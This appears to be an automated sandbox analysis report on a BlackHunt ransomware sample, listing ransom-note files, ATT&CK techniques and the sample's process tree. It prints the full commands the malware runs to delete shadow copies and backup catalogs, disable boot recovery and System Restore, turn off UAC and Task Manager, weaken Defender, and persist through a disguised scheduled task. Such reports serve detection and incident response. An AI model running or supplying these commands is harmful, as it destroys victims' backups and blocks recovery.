File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-snaptracer.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files (x86)\MSBuild\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-spi-actions.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-api.xml	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-6	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationLeft_ButtonGraphic.png	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\cacerts	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Maceio	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Macquarie	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre7\lib\fonts\LucidaBrightRegular.ttf	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre7\lib\security\java.policy	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-api-caching.xml	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\vlc16x16.png	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_ButtonGraphic.png	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Halifax	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.css.sac_1.3.1.v200903091627.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-io.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainBackground.wmv	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ro.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\skins\skin.dtd	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt-br.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\15x15dot.png	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\WhiteDot.png	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Merida	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files (x86)\Google\Update\Install\{816A3475-9C83-4071-ADF3-DF13B538F008}\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Vancouver	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2700	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1920	vssadmin.exe
1528	vssadmin.exe
848	vssadmin.exe
2928	vssadmin.exe
772	vssadmin.exe
1056	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2356	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2360	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
216	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeRestorePrivilege	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeBackupPrivilege	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeTakeOwnershipPrivilege	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeAuditPrivilege	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeSecurityPrivilege	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeIncBasePriorityPrivilege	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Token: SeBackupPrivilege	3000	vssvc.exe
Token: SeRestorePrivilege	3000	vssvc.exe
Token: SeAuditPrivilege	3000	vssvc.exe
Token: SeBackupPrivilege	1556	wbengine.exe
Token: SeRestorePrivilege	1556	wbengine.exe
Token: SeSecurityPrivilege	1556	wbengine.exe
Token: SeSecurityPrivilege	2704	wevtutil.exe
Token: SeBackupPrivilege	2704	wevtutil.exe
Token: SeSecurityPrivilege	2868	wevtutil.exe
Token: SeBackupPrivilege	2868	wevtutil.exe
Token: SeSecurityPrivilege	2440	wevtutil.exe
Token: SeBackupPrivilege	2440	wevtutil.exe
Token: SeSecurityPrivilege	2388	wevtutil.exe
Token: SeBackupPrivilege	2388	wevtutil.exe
Token: SeSecurityPrivilege	2428	wevtutil.exe
Token: SeBackupPrivilege	2428	wevtutil.exe
Token: SeDebugPrivilege	2356	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 1952	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	126
PID 2296 wrote to memory of 1952	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	126
PID 2296 wrote to memory of 1952	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	126
PID 2296 wrote to memory of 1952	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	126
PID 2296 wrote to memory of 2732	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	124
PID 2296 wrote to memory of 2732	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	124
PID 2296 wrote to memory of 2732	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	124
PID 2296 wrote to memory of 2732	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	124
PID 1952 wrote to memory of 2756	1952	cmd.exe	122
PID 1952 wrote to memory of 2756	1952	cmd.exe	122
PID 1952 wrote to memory of 2756	1952	cmd.exe	122
PID 2296 wrote to memory of 2788	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	121
PID 2296 wrote to memory of 2788	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	121
PID 2296 wrote to memory of 2788	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	121
PID 2296 wrote to memory of 2788	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	121
PID 2296 wrote to memory of 2644	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	118
PID 2296 wrote to memory of 2644	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	118
PID 2296 wrote to memory of 2644	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	118
PID 2296 wrote to memory of 2644	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	118
PID 2732 wrote to memory of 2036	2732	cmd.exe	119
PID 2732 wrote to memory of 2036	2732	cmd.exe	119
PID 2732 wrote to memory of 2036	2732	cmd.exe	119
PID 2296 wrote to memory of 2888	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	117
PID 2296 wrote to memory of 2888	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	117
PID 2296 wrote to memory of 2888	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	117
PID 2296 wrote to memory of 2888	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	117
PID 2296 wrote to memory of 2796	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	114
PID 2296 wrote to memory of 2796	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	114
PID 2296 wrote to memory of 2796	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	114
PID 2296 wrote to memory of 2796	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	114
PID 2788 wrote to memory of 2800	2788	cmd.exe	113
PID 2788 wrote to memory of 2800	2788	cmd.exe	113
PID 2788 wrote to memory of 2800	2788	cmd.exe	113
PID 2296 wrote to memory of 2572	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	112
PID 2296 wrote to memory of 2572	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	112
PID 2296 wrote to memory of 2572	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	112
PID 2296 wrote to memory of 2572	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	112
PID 2296 wrote to memory of 2624	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	111
PID 2296 wrote to memory of 2624	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	111
PID 2296 wrote to memory of 2624	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	111
PID 2296 wrote to memory of 2624	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	111
PID 2296 wrote to memory of 2676	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	108
PID 2296 wrote to memory of 2676	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	108
PID 2296 wrote to memory of 2676	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	108
PID 2296 wrote to memory of 2676	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	108
PID 2888 wrote to memory of 2792	2888	cmd.exe	107
PID 2888 wrote to memory of 2792	2888	cmd.exe	107
PID 2888 wrote to memory of 2792	2888	cmd.exe	107
PID 2296 wrote to memory of 2708	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	106
PID 2296 wrote to memory of 2708	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	106
PID 2296 wrote to memory of 2708	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	106
PID 2296 wrote to memory of 2708	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	106
PID 2296 wrote to memory of 1884	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	104
PID 2296 wrote to memory of 1884	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	104
PID 2296 wrote to memory of 1884	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	104
PID 2296 wrote to memory of 1884	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	104
PID 2644 wrote to memory of 2584	2644	cmd.exe	105
PID 2644 wrote to memory of 2584	2644	cmd.exe	105
PID 2644 wrote to memory of 2584	2644	cmd.exe	105
PID 2296 wrote to memory of 2764	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	103
PID 2296 wrote to memory of 2764	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	103
PID 2296 wrote to memory of 2764	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	103
PID 2296 wrote to memory of 2764	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	103
PID 2296 wrote to memory of 2588	2296	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe	100

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:712
- C:\Windows\system32\schtasks.exe
  SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe" /F
  2⤵
  - Creates scheduled task(s)
  PID:2700

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1556

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2788
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Modifies registry class
  PID:2800

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3000

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:776

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:1920

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:2756

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:2728

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:2640

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:1528

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:848

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:2052

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2928

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:772

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:1172

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2668

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:2628

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:1976

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:2720

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:1960

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:2300

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
1⤵
PID:2236

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
1⤵
PID:1996

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2204

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
PID:2216

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
1⤵
PID:1924

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2228

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
1⤵
PID:572

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:1436

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
PID:2496

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
PID:3012

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:3048

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:3032

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
PID:2388

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
PID:1696

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:1000

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:788

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:268

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:484

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe" /F
1⤵
PID:712

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:576

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:536

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:2116

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:2508

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:1192

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:1956

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:1604

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:1600

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:2192

C:\Windows\system32\reg.exe
